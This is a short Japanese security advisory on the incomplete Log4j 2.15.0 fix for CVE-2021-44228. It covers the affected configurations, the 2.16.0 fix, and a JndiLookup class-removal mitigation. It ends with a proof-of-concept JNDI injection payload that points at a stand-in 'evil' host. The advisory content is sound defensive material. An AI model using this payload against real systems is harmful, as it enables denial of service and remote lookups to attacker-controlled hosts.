

Apache Log4j 2.15.0 における CVE-2021-44228 の修正が、特定の非デフォルト構成では不完全であることが判明しました。これにより、Thread Context Map (MDC) 入力データを制御できる攻撃者が、ログ設定でデフォルト以外の Pattern Layout に Context Lookup (例: $${ctx:loginId}) または Thread Context Map パターン (%X, %mdc, %MDC) を使用している場合に、JNDI Lookup パターンを用いた悪意のある入力データを作成し、サービス拒否 (DOS) 攻撃を引き起こす可能性があります。Log4j 2.15.0 では、JNDI LDAP ルックアップがデフォルトで localhost に制限されています。なお、システムプロパティ log4j2.noFormatMsgLookup を true に設定するなどの以前の緩和策は、この特定の脆弱性を緩和しません。Log4j 2.16.0 では、メッセージルックアップパターンのサポートを削除し、JNDI 機能をデフォルトで無効にすることでこの問題を修正しています。この問題は、以前のリリース (<2.16.0) では、JndiLookup クラスをクラスパスから削除することで緩和できます (例: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)。
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j